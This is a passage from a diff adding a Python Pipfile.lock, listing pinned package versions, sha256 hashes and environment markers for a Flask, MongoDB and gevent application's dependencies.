"sha256:cbde590d4faaa07c72bf979734738f328d239913ba3e043b1e98fe9a39f8b2b6", + "sha256:cd2868886d547469123fadc46eac7ea5253ea7fcb139f12e1dfc2bbd406427d1", + "sha256:d42b11d692e11b6634f7613ad8df5d6d5f8875f5d48939520d351007b3c13406", + "sha256:f2d45f97ab6bb54753eab54fffe75aaf3de4ff2341c9daee1987ee1837636f1d", + "sha256:fd78e5fee591709f32ef6edb9a015b4aa1a5022598e36227500c8f4e02328d9c" + ], + "index": "pypi", + "version": "==1.14.5" + }, + "chardet": { + "hashes": [ + "sha256:0d6f53a15db4120f2b08c94f11e7d93d2c911ee118b6b30a04ec3ee8310179fa", + "sha256:f864054d66fd9118f2e67044ac8981a54775ec5b67aed0441892edb553d21da5" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==4.0.0" + }, + "click": { + "hashes": [ + "sha256:d2b5255c7c6349bc1bd1e59e08cd12acbbd63ce649f2588755783aa94dfb6b1a", + "sha256:dacca89f4bfadd5de3d7489b7c8a566eee0d3676333fbb50030263894c38c0dc" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==7.1.2" + }, + "colorama": { + "hashes": [ + "sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff", + "sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1" + ], + "markers": "python_version != '3.4' and sys_platform == 'win32'", + "version": "==0.4.3" + }, + "distlib": { + "hashes": [ + "sha256:8c09de2c67b3e7deef7184574fc060ab8a793e7adbb183d942c389c8b13c52fb", + "sha256:edf6116872c863e1aa9d5bb7cb5e05a022c519a4594dc703843343a9ddd9bff1" + ], + "version": "==0.3.1" + }, + "docutils": { + "hashes": [ + "sha256:6c4f696463b79f1fb8ba0c594b63840ebd41f059e92b31957c46b74a4599b6d0", + "sha256:9e4d7ecfc600058e07ba661411a2b7de2fd0fafa17d1a7f7361cd47b1175c827", + "sha256:a2aeea129088da402665e92e0b25b04b073c04b2dce4ab65caaa38b7ce2e1a99" + ], + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2'", + "version": "==0.15.2" + }, + "dpath": { + "hashes": [ + "sha256:bea06b5f4ff620a28dfc9848cf4d6b2bfeed34238edeb8ebe815c433b54eb1fa" + ], + "index": "pypi", + "version": "==2.0.1" + }, + "filelock": { + "hashes": [ + "sha256:18d82244ee114f543149c66a6e0c14e9c4f8a1044b5cdaadd0f82159d6a6ff59", + "sha256:929b7d63ec5b7d6b71b0fa5ac14e030b3f70b75747cef1b10da9b879fef15836" + ], + "version": "==3.0.12" + }, + "flask": { + "hashes": [ + "sha256:4efa1ae2d7c9865af48986de8aeb8504bf32c7f3d6fdc9353d34b21f4b127060", + "sha256:8a4fdd8936eba2512e9c85df320a37e694c93945b33ef33c89946a340a238557" + ], + "index": "pypi", + "version": "==1.1.2" + }, + "flask-jwt-extended": { + "hashes": [ + "sha256:0aa8ee6fa7eb3be9314e39dd199ac8e19389a95371f9d54e155c7aa635e319dd" + ], + "index": "pypi", + "version": "==3.24.1" + }, + "flask-pymongo": { + "hashes": [ + "sha256:620eb02dc8808a5fcb90f26cab6cba9d6bf497b15032ae3ca99df80366e33314", + "sha256:8a9577a2c6d00b49f21cb5a5a8d72561730364a2d745551a85349ab02f86fc73" + ], + "index": "pypi", + "version": "==2.3.0" + }, + "flask-restful": { + "hashes": [ + "sha256:5ea9a5991abf2cb69b4aac19793faac6c032300505b325687d7c305ffaa76915", + "sha256:d891118b951921f1cec80cabb4db98ea6058a35e6404788f9e70d5b243813ec2" + ], + "index": "pypi", + "version": "==0.3.8" + }, + "future": { + "hashes": [ + "sha256:b1bead90b70cf6ec3f0710ae53a525360fa360d306a86583adc6bf83a4db537d" + ], + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2'", + "version": "==0.18.2" + }, + "gevent": { + "hashes": [ + "sha256:16574e4aa902ebc7bad564e25aa9740a82620fdeb61e0bbf5cbc32e84c13cb6a", + "sha256:188c3c6da67e17ffa28f960fc80f8b7e4ba0f4efdc7519822c9d3a1784ca78ea", + "sha256:1e5af63e452cc1758924528a2ba6d3e472f5338e1534b7233cd01d3429fc1082", + "sha256:242e32cc011ad7127525ca9181aef3379ce4ad9c733aefe311ecf90248ad9a6f", + "sha256:2a9ae0a0fd956cbbc9c326b8f290dcad2b58acfb2e2732855fe1155fb110a04d", + "sha256:33741e3cd51b90483b14f73b6a3b32b779acf965aeb91d22770c0c8e0c937b73", + "sha256:3694f393ab08372bd337b9bc8eebef3ccab3c1623ef94536762a1eee68821449", + "sha256:464ec84001ba5108a9022aded4c5e69ea4d13ef11a2386d3ec37c1d08f3074c9", + "sha256:520cc2a029a9eef436e4e56b007af7859315cafa21937d43c1d5269f12f2c981", + "sha256:77b65a68c83e1c680f52dc39d5e5406763dd10a18ce08420665504b6f047962e", + "sha256:7bdfee07be5eee4f687bf90c54c2a65c909bcf2b6c4878faee51218ffa5d5d3e", + "sha256:969743debf89d6409423aaeae978437cc042247f91f5801e946a07a0a3b59148", + "sha256:96f704561a9dd9a817c67f2e279e23bfad6166cf95d63d35c501317e17f68bcf", + "sha256:9f99c3ec61daed54dc074fbcf1a86bcf795b9dfac2f6d4cdae6dfdb8a9125692", + "sha256:a130a1885603eabd8cea11b3e1c3c7333d4341b537eca7f0c4794cb5c7120db1", + "sha256:a54b9c7516c211045d7897a73a4ccdc116b3720c9ad3c591ef9592b735202a3b", + "sha256:ac98570649d9c276e39501a1d1cbf6c652b78f57a0eb1445c5ff25ff80336b63", + "sha256:afaeda9a7e8e93d0d86bf1d65affe912366294913fe43f0d107145dc32cd9545", + "sha256:b6ffc1131e017aafa70d7ec19cc24010b19daa2f11d5dc2dc191a79c3c9ea147", + "sha256:ba0c6ad94614e9af4240affbe1b4839c54da5a0a7e60806c6f7f69c1a7f5426e", + "sha256:bdb3677e77ab4ebf20c4752ac49f3b1e47445678dd69f82f9905362c68196456", + "sha256:c2c4326bb507754ef354635c05f560a217c171d80f26ca65bea81aa59b1ac179", + "sha256:cfb2878c2ecf27baea436bb9c4d8ab8c2fa7763c3916386d5602992b6a056ff3", + "sha256:e370e0a861db6f63c75e74b6ee56a40f5cdac90212ec404621445afa12bfc94b", + "sha256:e8a5d9fcf5d031f2e4c499f5f4b53262face416e22e8769078354f641255a663", + "sha256:ecff28416c99e0f73137f35849c3027cc3edde9dc13b7707825ebbf728623928", + "sha256:f0498df97a303da77e180a9368c9228b0fc94d10dd2ce79fc5ebb63fec0d2fc9", + "sha256:f91fd07b9cf642f24e58ed381e19ec33e28b8eee8726c19b026ea24fcc9ff897" + ], + "index": "pypi", + "version": "==21.1.2" + }, + "greenlet": { + "hashes": [ + "sha256:0a77691f0080c9da8dfc81e23f4e3cffa5accf0f5b56478951016d7cfead9196", + "sha256:0ddd77586553e3daf439aa88b6642c5f252f7ef79a39271c25b1d4bf1b7cbb85", + "sha256:111cfd92d78f2af0bc7317452bd93a477128af6327332ebf3c2be7df99566683", + "sha256:122c63ba795fdba4fc19c744df6277d9cfd913ed53d1a286f12189a0265316dd", + "sha256:181300f826625b7fd1182205b830642926f52bd8cdb08b34574c9d5b2b1813f7", + "sha256:1a1ada42a1fd2607d232ae11a7b3195735edaa49ea787a6d9e6a53afaf6f3476", + "sha256:1bb80c71de788b36cefb0c3bb6bfab306ba75073dbde2829c858dc3ad70f867c", + "sha256:1d1d4473ecb1c1d31ce8fd8d91e4da1b1f64d425c1dc965edc4ed2a63cfa67b2", + "sha256:292e801fcb3a0b3a12d8c603c7cf340659ea27fd73c98683e75800d9fd8f704c", + "sha256:2c65320774a8cd5fdb6e117c13afa91c4707548282464a18cf80243cf976b3e6", + "sha256:4365eccd68e72564c776418c53ce3c5af402bc526fe0653722bc89efd85bf12d", + "sha256:5352c15c1d91d22902582e891f27728d8dac3bd5e0ee565b6a9f575355e6d92f", + "sha256:58ca0f078d1c135ecf1879d50711f925ee238fe773dfe44e206d7d126f5bc664", + "sha256:5d4030b04061fdf4cbc446008e238e44936d77a04b2b32f804688ad64197953c", + "sha256:5d69bbd9547d3bc49f8a545db7a0bd69f407badd2ff0f6e1a163680b5841d2b0", + "sha256:5f297cb343114b33a13755032ecf7109b07b9a0020e841d1c3cedff6602cc139", + "sha256:62afad6e5fd70f34d773ffcbb7c22657e1d46d7fd7c95a43361de979f0a45aef", + "sha256:647ba1df86d025f5a34043451d7c4a9f05f240bee06277a524daad11f997d1e7", + "sha256:719e169c79255816cdcf6dccd9ed2d089a72a9f6c42273aae12d55e8d35bdcf8", + "sha256:7cd5a237f241f2764324396e06298b5dee0df580cf06ef4ada0ff9bff851286c", + "sha256:875d4c60a6299f55df1c3bb870ebe6dcb7db28c165ab9ea6cdc5d5af36bb33ce", + "sha256:90b6a25841488cf2cb1c8623a53e6879573010a669455046df5f029d93db51b7", + "sha256:94620ed996a7632723a424bccb84b07e7b861ab7bb06a5aeb041c111dd723d36", + "sha256:b5f1b333015d53d4b381745f5de842f19fe59728b65f0fbb662dafbe2018c3a5", + "sha256:c5b22b31c947ad8b6964d4ed66776bcae986f73669ba50620162ba7c832a6b6a", + "sha256:c93d1a71c3fe222308939b2e516c07f35a849c5047f0197442a4d6fbcb4128ee", + "sha256:cdb90267650c1edb54459cdb51dab865f6c6594c3a47ebd441bc493360c7af70", + "sha256:cfd06e0f0cc8db2a854137bd79154b61ecd940dce96fad0cba23fe31de0b793c", + "sha256:d3789c1c394944084b5e57c192889985a9f23bd985f6d15728c745d380318128", + "sha256:da7d09ad0f24270b20f77d56934e196e982af0d0a2446120cb772be4e060e1a2", + "sha256:df3e83323268594fa9755480a442cabfe8d82b21aba815a71acf1bb6c1776218", + "sha256:df8053867c831b2643b2c489fe1d62049a98566b1646b194cc815f13e27b90df", + "sha256:e1128e022d8dce375362e063754e129750323b67454cac5600008aad9f54139e", + "sha256:e6e9fdaf6c90d02b95e6b0709aeb1aba5affbbb9ccaea5502f8638e4323206be", + "sha256:eac8803c9ad1817ce3d8d15d1bb82c2da3feda6bee1153eec5c58fa6e5d3f770", + "sha256:eb333b90036358a0e2c57373f72e7648d7207b76ef0bd00a4f7daad1f79f5203", + "sha256:ed1d1351f05e795a527abc04a0d82e9aecd3bdf9f46662c36ff47b0b00ecaf06", + "sha256:f3dc68272990849132d6698f7dc6df2ab62a88b0d36e54702a8fd16c0490e44f", + "sha256:f59eded163d9752fd49978e0bab7a1ff21b1b8d25c05f0995d140cc08ac83379", + "sha256:f5e2d36c86c7b03c94b8459c3bd2c9fe2c7dab4b258b8885617d44a22e453fb7", + "sha256:f6f65bf54215e4ebf6b01e4bb94c49180a589573df643735107056f7a910275b", + "sha256:f8450d5ef759dbe59f84f2c9f77491bb3d3c44bc1a573746daf086e70b14c243", + "sha256:f97d83049715fd9dec7911860ecf0e17b48d8725de01e45de07d8ac0bd5bc378" + ], + "markers": "platform_python_implementation == 'CPython'", + "version": "==1.0.0" + }, + "idna": { + "hashes": [ + "sha256:b307872f855b18632ce0c21c5e45be78c0ea7ae4c15c828c20788b26921eb3f6", + "sha256:b97d804b1e9b523befed77c48dacec60e6dcb0b5391d57af6a65a312a90648c0" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==2.10" + }, + "importlib-metadata": { + "hashes": [ + "sha256:2ec0faae539743ae6aaa84b49a169670a465f7f5d64e6add98388cc29fd1f2f6", + "sha256:c9356b657de65c53744046fa8f7358afe0714a1af7d570c00c3835c2d724a7c1" + ], + "markers": "python_version < '3.8' and python_version < '3.8'", + "version": "==3.10.1" + }, + "iniconfig": { + "hashes": [ + "sha256:011e24c64b7f47f6ebd835bb12a743f2fbe9a26d4cecaa7f53bc4f35ee9da8b3", + "sha256:bc3af051d7d14b2ee5ef9969666def0cd1a000e121eaea580d4a313df4b37f32" + ], + "version": "==1.1.1" + }, + "ipaddress": { + "hashes": [ + "sha256:6e0f4a39e66cb5bb9a137b00276a2eff74f93b71dcbdad6f10ff7df9d3557fcc", + "sha256:b7f8e0369580bb4a24d5ba1d7cc29660a4a6987763faf1d8a8046830e020e7e2" + ], + "index": "pypi", + "version": "==1.0.23" + }, + "itsdangerous": { + "hashes": [ + "sha256:321b033d07f2a4136d3ec762eac9f16a10ccd60f53c0c91af90217ace7ba1f19", + "sha256:b12271b2047cb23eeb98c8b5622e2e5c5e9abd9784a153e9d8ef9cb4dd09d749" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==1.1.0" + }, + "jinja2": { + "hashes": [ + "sha256:03e47ad063331dd6a3f04a43eddca8a966a26ba0c5b7207a9a9e4e08f1b29419", + "sha256:a6d58433de0ae800347cab1fa3043cebbabe8baa9d29e668f1c768cb87a333c6" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==2.11.3" + }, + "jmespath": { + "hashes": [ + "sha256:b85d0567b8666149a93172712e68920734333c0ce7e89b78b3e987f71e5ed4f9", + "sha256:cdf6525904cc597730141d61b36f2e4b8ecc257c420fa2f4549bac2c2d0cb72f" + ], + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2'", + "version": "==0.10.0" + }, + "jsonschema": { + "hashes": [ + "sha256:4e5b3cf8216f577bee9ce139cbe72eca3ea4f292ec60928ff24758ce626cd163", + "sha256:c8a85b28d377cc7737e46e2d9f2b4f44ee3c0e1deac6bf46ddefc7187d30797a" + ], + "index": "pypi", + "version": "==3.2.0" + }, + "markupsafe": { + "hashes": [ + "sha256:00bc623926325b26bb9605ae9eae8a215691f33cae5df11ca5424f06f2d1f473", + "sha256:09027a7803a62ca78792ad89403b1b7a73a01c8cb65909cd876f7fcebd79b161", + "sha256:09c4b7f37d6c648cb13f9230d847adf22f8171b1ccc4d5682398e77f40309235", + "sha256:1027c282dad077d0bae18be6794e6b6b8c91d58ed8a8d89a89d59693b9131db5", + "sha256:13d3144e1e340870b25e7b10b98d779608c02016d5184cfb9927a9f10c689f42", + "sha256:195d7d2c4fbb0ee8139a6cf67194f3973a6b3042d742ebe0a9ed36d8b6f0c07f", + "sha256:22c178a091fc6630d0d045bdb5992d2dfe14e3259760e713c490da5323866c39", + "sha256:24982cc2533820871eba85ba648cd53d8623687ff11cbb805be4ff7b4c971aff", + "sha256:29872e92839765e546828bb7754a68c418d927cd064fd4708fab9fe9c8bb116b", + "sha256:2beec1e0de6924ea551859edb9e7679da6e4870d32cb766240ce17e0a0ba2014", + "sha256:3b8a6499709d29c2e2399569d96719a1b21dcd94410a586a18526b143ec8470f", + "sha256:43a55c2930bbc139570ac2452adf3d70cdbb3cfe5912c71cdce1c2c6bbd9c5d1", + "sha256:46c99d2de99945ec5cb54f23c8cd5689f6d7177305ebff350a58ce5f8de1669e", + "sha256:500d4957e52ddc3351cabf489e79c91c17f6e0899158447047588650b5e69183", + "sha256:535f6fc4d397c1563d08b88e485c3496cf5784e927af890fb3c3aac7f933ec66", + "sha256:596510de112c685489095da617b5bcbbac7dd6384aeebeda4df6025d0256a81b", + "sha256:62fe6c95e3ec8a7fad637b7f3d372c15ec1caa01ab47926cfdf7a75b40e0eac1", + "sha256:6788b695d50a51edb699cb55e35487e430fa21f1ed838122d722e0ff0ac5ba15", + "sha256:6dd73240d2af64df90aa7c4e7481e23825ea70af4b4922f8ede5b9e35f78a3b1", + "sha256:6f1e273a344928347c1290119b493a1f0303c52f5a5eae5f16d74f48c15d4a85", + "sha256:6fffc775d90dcc9aed1b89219549b329a9250d918fd0b8fa8d93d154918422e1", + "sha256:717ba8fe3ae9cc0006d7c451f0bb265ee07739daf76355d06366154ee68d221e", + "sha256:79855e1c5b8da654cf486b830bd42c06e8780cea587384cf6545b7d9ac013a0b", + "sha256:7c1699dfe0cf8ff607dbdcc1e9b9af1755371f92a68f706051cc8c37d447c905", + "sha256:7fed13866cf14bba33e7176717346713881f56d9d2bcebab207f7a036f41b850", + "sha256:84dee80c15f1b560d55bcfe6d47b27d070b4681c699c572af2e3c7cc90a3b8e0", + "sha256:88e5fcfb52ee7b911e8bb6d6aa2fd21fbecc674eadd44118a9cc3863f938e735", + "sha256:8defac2f2ccd6805ebf65f5eeb132adcf2ab57aa11fdf4c0dd5169a004710e7d", + "sha256:98bae9582248d6cf62321dcb52aaf5d9adf0bad3b40582925ef7c7f0ed85fceb", + "sha256:98c7086708b163d425c67c7a91bad6e466bb99d797aa64f965e9d25c12111a5e", + "sha256:9add70b36c5666a2ed02b43b335fe19002ee5235efd4b8a89bfcf9005bebac0d", + "sha256:9bf40443012702a1d2070043cb6291650a0841ece432556f784f004937f0f32c", + "sha256:a6a744282b7718a2a62d2ed9d993cad6f5f585605ad352c11de459f4108df0a1", + "sha256:acf08ac40292838b3cbbb06cfe9b2cb9ec78fce8baca31ddb87aaac2e2dc3bc2", + "sha256:ade5e387d2ad0d7ebf59146cc00c8044acbd863725f887353a10df825fc8ae21", + "sha256:b00c1de48212e4cc9603895652c5c410df699856a2853135b3967591e4beebc2", + "sha256:b1282f8c00509d99fef04d8ba936b156d419be841854fe901d8ae224c59f0be5", + "sha256:b1dba4527182c95a0db8b6060cc98ac49b9e2f5e64320e2b56e47cb2831978c7", + "sha256:b2051432115498d3562c084a49bba65d97cf251f5a331c64a12ee7e04dacc51b", + "sha256:b7d644ddb4dbd407d31ffb699f1d140bc35478da613b441c582aeb7c43838dd8", + "sha256:ba59edeaa2fc6114428f1637ffff42da1e311e29382d81b339c1817d37ec93c6", + "sha256:bf5aa3cbcfdf57fa2ee9cd1822c862ef23037f5c832ad09cfea57fa846dec193", + "sha256:c8716a48d94b06bb3b2524c2b77e055fb313aeb4ea620c8dd03a105574ba704f", + "sha256:caabedc8323f1e93231b52fc32bdcde6db817623d33e100708d9a68e1f53b26b", + "sha256:cd5df75523866410809ca100dc9681e301e3c27567cf498077e8551b6d20e42f", + "sha256:cdb132fc825c38e1aeec2c8aa9338310d29d337bebbd7baa06889d09a60a1fa2", + "sha256:d53bc011414228441014aa71dbec320c66468c1030aae3a6e29778a3382d96e5", + "sha256:d73a845f227b0bfe8a7455ee623525ee656a9e2e749e4742706d80a6065d5e2c", + "sha256:d9be0ba6c527163cbed5e0857c451fcd092ce83947944d6c14bc95441203f032", + "sha256:e249096428b3ae81b08327a63a485ad0878de3fb939049038579ac0ef61e17e7", + "sha256:e8313f01ba26fbbe36c7be1966a7b7424942f670f38e666995b88d012765b9be", + "sha256:feb7b34d6325451ef96bc0e36e1a6c0c1c64bc1fbec4b854f4529e51887b1621" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==1.1.1" + }, + "mongoengine": { + "hashes": [ + "sha256:6e127f45f71c2bc5e72461ec297a0c20f04c3ee0bf6dd869e336226e325db6ef", + "sha256:db9e5d587e5d74e52851e0e4a53fd744725bfa9918ae6070139f5ba9c62c6edf" + ], + "index": "pypi", + "version": "==0.20" + }, + "mongomock": { + "hashes": [ + "sha256:36aad3c6127eee9cdb52ac0186c6a60007f2412c9db715645eeccffc1258ce48", + "sha256:8faaffd875732bf55e38e1420a1b7212dde8d446c5852afb4c0884c1369b328b" + ], + "index": "pypi", + "version": "==3.19.0" + }, + "netifaces": { + "hashes": [ + "sha256:078986caf4d6a602a4257d3686afe4544ea74362b8928e9f4389b5cd262bc215", + "sha256:0c4304c6d5b33fbd9b20fdc369f3a2fef1a8bbacfb6fd05b9708db01333e9e7b", + "sha256:2dee9ffdd16292878336a58d04a20f0ffe95555465fee7c9bd23b3490ef2abf3", + "sha256:3095218b66d359092b82f07c5422293c2f6559cf8d36b96b379cc4cdc26eeffa", + "sha256:30ed89ab8aff715caf9a9d827aa69cd02ad9f6b1896fd3fb4beb998466ed9a3c", + "sha256:4921ed406386246b84465950d15a4f63480c1458b0979c272364054b29d73084", + "sha256:563a1a366ee0fb3d96caab79b7ac7abd2c0a0577b157cc5a40301373a0501f89", + "sha256:5b3167f923f67924b356c1338eb9ba275b2ba8d64c7c2c47cf5b5db49d574994", + "sha256:6d84e50ec28e5d766c9911dce945412dc5b1ce760757c224c71e1a9759fa80c2", + "sha256:755050799b5d5aedb1396046f270abfc4befca9ccba3074f3dbbb3cb34f13aae", + "sha256:75d3a4ec5035db7478520ac547f7c176e9fd438269e795819b67223c486e5cbe", + "sha256:7a25a8e28281504f0e23e181d7a9ed699c72f061ca6bdfcd96c423c2a89e75fc", + "sha256:7cc6fd1eca65be588f001005446a47981cbe0b2909f5be8feafef3bf351a4e24", + "sha256:86b8a140e891bb23c8b9cb1804f1475eb13eea3dbbebef01fcbbf10fbafbee42", + "sha256:ad10acab2ef691eb29a1cc52c3be5ad1423700e993cc035066049fa72999d0dc", + "sha256:b2ff3a0a4f991d2da5376efd3365064a43909877e9fabfa801df970771161d29", + "sha256:b47e8f9ff6846756be3dc3fb242ca8e86752cd35a08e06d54ffc2e2a2aca70ea", + "sha256:da298241d87bcf468aa0f0705ba14572ad296f24c4fda5055d6988701d6fd8e1", + "sha256:db881478f1170c6dd524175ba1c83b99d3a6f992a35eca756de0ddc4690a1940", + "sha256:f0427755c68571df37dc58835e53a4307884a48dec76f3c01e33eb0d4a3a81d7", + "sha256:f8885cc48c8c7ad51f36c175e462840f163cb4687eeb6c6d7dfaf7197308e36b", + "sha256:f911b7f0083d445c8d24cfa5b42ad4996e33250400492080f5018a28c026db2b" + ], + "index": "pypi", + "version": "==0.10.9" + }, + "packaging": { + "hashes": [ + "sha256:5b327ac1320dc863dca72f4514ecc086f31186744b84a230374cc1fd776feae5", + "sha256:67714da7f7bc052e064859c05c595155bd1ee9f69f76557e21f051443c20947a" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==20.9" + }, + "pefile": { + "hashes": [ + "sha256:a5d6e8305c6b210849b47a6174ddf9c452b2888340b8177874b862ba6c207645" + ], + "version": "==2019.4.18" + }, + "pluggy": { + "hashes": [ + "sha256:15b2acde666561e1298d71b523007ed7364de07029219b604cf808bfa1c765b0", + "sha256:966c145cd83c96502c3c3868f50408687b38434af77734af1e9ca461a4081d2d" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==0.13.1" + }, + "py": { + "hashes": [ + "sha256:21b81bda15b66ef5e1a777a21c4dcd9c20ad3efd0b3f817e7a809035269e1bd3", + "sha256:3b80836aa6d1feeaa108e046da6423ab8f6ceda6468545ae8d02d9d58d18818a" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==1.10.0" + }, + "pyasn1": { + "hashes": [ + "sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359", + "sha256:03840c999ba71680a131cfaee6fab142e1ed9bbd9c693e285cc6aca0d555e576", + "sha256:0458773cfe65b153891ac249bcf1b5f8f320b7c2ce462151f8fa74de8934becf", + "sha256:08c3c53b75eaa48d71cf8c710312316392ed40899cb34710d092e96745a358b7", + "sha256:39c7e2ec30515947ff4e87fb6f456dfc6e84857d34be479c9d4a4ba4bf46aa5d", + "sha256:5c9414dcfede6e441f7e8f81b43b34e834731003427e5b09e4e00e3172a10f00", + "sha256:6e7545f1a61025a4e58bb336952c5061697da694db1cae97b116e9c46abcf7c8", + "sha256:78fa6da68ed2727915c4767bb386ab32cdba863caa7dbe473eaae45f9959da86", + "sha256:7ab8a544af125fb704feadb008c99a88805126fb525280b2270bb25cc1d78a12", + "sha256:99fcc3c8d804d1bc6d9a099921e39d827026409a58f2a720dcdb89374ea0c776", + "sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba", + "sha256:e89bf84b5437b532b0803ba5c9a5e054d21fec423a89952a74f87fa2c9b7bce2", + "sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3" + ], + "version": "==0.4.8" + }, + "pycparser": { + "hashes": [ + "sha256:2d475327684562c3a96cc71adf7dc8c4f0565175cf86b6d7a404ff4c771f15f0", + "sha256:7582ad22678f0fcd81102833f60ef8d0e57288b6b5fb00323d101be910e35705" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==2.20" + }, + "pycryptodome": { + "hashes": [ + "sha256:02e51e1d5828d58f154896ddfd003e2e7584869c275e5acbe290443575370fba", + "sha256:03d5cca8618620f45fd40f827423f82b86b3a202c8d44108601b0f5f56b04299", + "sha256:0e24171cf01021bc5dc17d6a9d4f33a048f09d62cc3f62541e95ef104588bda4", + "sha256:132a56abba24e2e06a479d8e5db7a48271a73a215f605017bbd476d31f8e71c1", + "sha256:1e655746f539421d923fd48df8f6f40b3443d80b75532501c0085b64afed9df5", + "sha256:2b998dc45ef5f4e5cf5248a6edfcd8d8e9fb5e35df8e4259b13a1b10eda7b16b", + "sha256:360955eece2cd0fa694a708d10303c6abd7b39614fa2547b6bd245da76198beb", + "sha256:39ef9fb52d6ec7728fce1f1693cb99d60ce302aeebd59bcedea70ca3203fda60", + "sha256:4350a42028240c344ee855f032c7d4ad6ff4f813bfbe7121547b7dc579ecc876", + "sha256:50348edd283afdccddc0938cdc674484533912ba8a99a27c7bfebb75030aa856", + "sha256:54bdedd28476dea8a3cd86cb67c0df1f0e3d71cae8022354b0f879c41a3d27b2", + "sha256:55eb61aca2c883db770999f50d091ff7c14016f2769ad7bca3d9b75d1d7c1b68", + "sha256:6276478ada411aca97c0d5104916354b3d740d368407912722bd4d11aa9ee4c2", + "sha256:663f8de2b3df2e744d6e1610506e0ea4e213bde906795953c1e82279c169f0a7", + "sha256:67dcad1b8b201308586a8ca2ffe89df1e4f731d5a4cdd0610cc4ea790351c739", + "sha256:709b9f144d23e290b9863121d1ace14a72e01f66ea9c903fbdc690520dfdfcf0", + "sha256:8063a712fba642f78d3c506b0896846601b6de7f5c3d534e388ad0cc07f5a149", + "sha256:80d57177a0b7c14d4594c62bbb47fe2f6309ad3b0a34348a291d570925c97a82", + "sha256:87006cf0d81505408f1ae4f55cf8a5d95a8e029a4793360720ae17c6500f7ecc", + "sha256:9f62d21bc693f3d7d444f17ed2ad7a913b4c37c15cd807895d013c39c0517dfd", + "sha256:a207231a52426de3ff20f5608f0687261a3329d97a036c51f7d4c606a6f30c23", + "sha256:abc2e126c9490e58a36a0f83516479e781d83adfb134576a5cbe5c6af2a3e93c", + "sha256:b56638d58a3a4be13229c6a815cd448f9e3ce40c00880a5398471b42ee86f50e", + "sha256:bcd5b8416e73e4b0d48afba3704d8c826414764dafaed7a1a93c442188d90ccc", + "sha256:bec2bcdf7c9ce7f04d718e51887f3b05dc5c1cfaf5d2c2e9065ecddd1b2f6c9a", + "sha256:c8bf40cf6e281a4378e25846924327e728a887e8bf0ee83b2604a0f4b61692e8", + "sha256:cecbf67e81d6144a50dc615629772859463b2e4f815d0c082fa421db362f040e", + "sha256:d8074c8448cfd0705dfa71ca333277fce9786d0b9cac75d120545de6253f996a", + "sha256:dd302b6ae3965afeb5ef1b0d92486f986c0e65183cd7835973f0b593800590e6", + "sha256:de6e1cd75677423ff64712c337521e62e3a7a4fc84caabbd93207752e831a85a", + "sha256:ef39c98d9b8c0736d91937d193653e47c3b19ddf4fc3bccdc5e09aaa4b0c5d21", + "sha256:f2e045224074d5664dc9cbabbf4f4d4d46f1ee90f24780e3a9a668fd096ff17f", + "sha256:f521178e5a991ffd04182ed08f552daca1affcb826aeda0e1945cd989a9d4345", + "sha256:f78a68c2c820e4731e510a2df3eef0322f24fde1781ced970bf497b6c7d92982", + "sha256:fbe65d5cfe04ff2f7684160d50f5118bdefb01e3af4718eeb618bfed40f19d94" + ], + "index": "pypi", + "version": "==3.9.8" + }, + "pyinstaller": { + "hashes": [ + "sha256:3730fa80d088f8bb7084d32480eb87cbb4ddb64123363763cf8f2a1378c1c4b7" + ], + "index": "pypi", + "version": "==3.6" + }, + "pyjwt": { + "hashes": [ + "sha256:a5c70a06e1f33d81ef25eecd50d50bd30e34de1ca8b2b9fa3fe0daaabcf69bf7", + "sha256:b70b15f89dc69b993d8a8d32c299032d5355c82f9b5b7e851d1a6d706dffe847" + ], + "markers": "python_version >= '3.6'", + "version": "==2.0.1" + }, + "pymongo": { + "hashes": [ + "sha256:0384d76b409278ddb34ac19cdc4664511685959bf719adbdc051875ded4689aa", + "sha256:05e2bda928a3a6bc6ddff9e5a8579d41928b75d7417b18f9a67c82bb52150ac6", + "sha256:152e4ac3158b776135d8fce28d2ac06e682b885fcbe86690d66465f262ab244e", + "sha256:180511abfef70feb022360b35f4863dd68e08334197089201d5c52208de9ca2e", + "sha256:19d52c60dc37520385f538d6d1a4c40bc398e0885f4ed6a36ce10b631dab2852", + "sha256:1d559a76ae87143ad96c2ecd6fdd38e691721e175df7ced3fcdc681b4638bca1", + "sha256:210ec4a058480b9c3869082e52b66d80c4a48eda9682d7a569a1a5a48100ea54", + "sha256:2163d736d6f62b20753be5da3dc07a188420b355f057fcbb3075b05ee6227b2f", + "sha256:22ee2c94fee1e391735be63aa1c9af4c69fdcb325ae9e5e4ddff770248ef60a6", + "sha256:28633868be21a187702a8613913e13d1987d831529358c29fc6f6670413df040", + "sha256:29390c39ca873737689a0749c9c3257aad96b323439b11279fbc0ba8626ec9c5", + "sha256:2aeb108da1ed8e066800fb447ba5ae89d560e6773d228398a87825ac3630452d", + "sha256:322f6cc7bf23a264151ebc5229a92600c4b55ac83c83c91c9bab1ec92c888a8d", + "sha256:34c15f5798f23488e509eae82fbf749c3d17db74379a88c07c869ece1aa806b9", + 